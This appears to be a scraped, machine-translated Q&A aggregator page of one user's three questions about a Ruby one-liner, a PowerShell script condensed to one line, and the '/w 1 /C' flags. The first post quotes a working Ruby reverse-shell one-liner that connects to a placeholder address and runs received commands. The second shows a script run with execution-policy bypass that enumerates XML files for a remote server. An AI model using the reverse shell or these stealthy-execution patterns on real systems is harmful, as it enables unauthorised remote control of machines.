小编Nic*_*ole的帖子

Ruby单线故障?

我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.

有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while循环的目的?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Run Code Online (Sandbox Code Playgroud)

ruby shell command-line ruby-on-rails netcat

1
推荐指数
1
解决办法
65
查看次数

如何在一行上运行 PowerShell?

根据这个答案,PowerShell 语句可以用分号分隔。

这是我正在使用的脚本片段(为了简化而进行了一些编辑):

Add-Type -AssemblyName System.Web;

$server = "http://website.com/index.php";

foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\path\to\dir","*.xml","AllDirectories")) {

  try {
    $oXml = New-Object System.XML.XMLDocument;
    $oXml.Load($path);
    <more commands here>;
  } catch {}

}
Run Code Online (Sandbox Code Playgroud)

这是我浓缩它的众多尝试之一:

powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Web; $server = 'http://website.com/index.php'; foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\path\to\dir","*.xml","AllDirectories")) { try { $oXml = New-Object System.XML.XMLDocument; $oXml.Load($path); <more commands here>;} catch {}}"
Run Code Online (Sandbox Code Playgroud)

以下是 cmd 返回的错误:

At line:1 char:140
+ ... hp'; foreach ($path in [System.IO.Directory]::EnumerateFiles(C:\path ...
+                                                                  ~
Missing ')' in method call.
At …
Run Code Online (Sandbox Code Playgroud)

powershell cmd batch-file

1
推荐指数
1
解决办法
2523
查看次数

PowerShell 命令中的 /w 1 和 /C 是什么?

我见过以powershell /w 1 /C ...some command here.... 什么是/w/C论据?有没有这方面的文件?谷歌搜索它没有返回任何似乎相关的东西。

parameters powershell command-line-interface

1
推荐指数
1
解决办法
4478
查看次数